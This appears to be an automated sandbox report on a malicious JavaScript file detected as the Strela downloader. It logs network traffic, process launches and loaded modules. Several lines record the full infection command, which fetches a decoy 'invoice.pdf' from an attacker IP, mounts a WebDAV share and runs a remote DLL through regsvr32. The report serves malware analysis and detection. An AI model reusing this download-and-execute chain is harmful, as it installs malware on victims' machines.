Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2139723221.00000239DD0CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2198739039.000001B96A048000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2198739039.000001B96A069000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2198739039.000001B96A018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2198739039.000001B96A018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000009.00000002.3422113062.000001FC8E28B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2203297183.000001FC8DF70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 504, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 700123582683323683.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2788

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5776:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blxcafij.02o.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 700123582683323683.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\700123582683323683.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1672,i,1215310555489989670,14978537808723602120,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1672,i,1215310555489989670,14978537808723602120,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
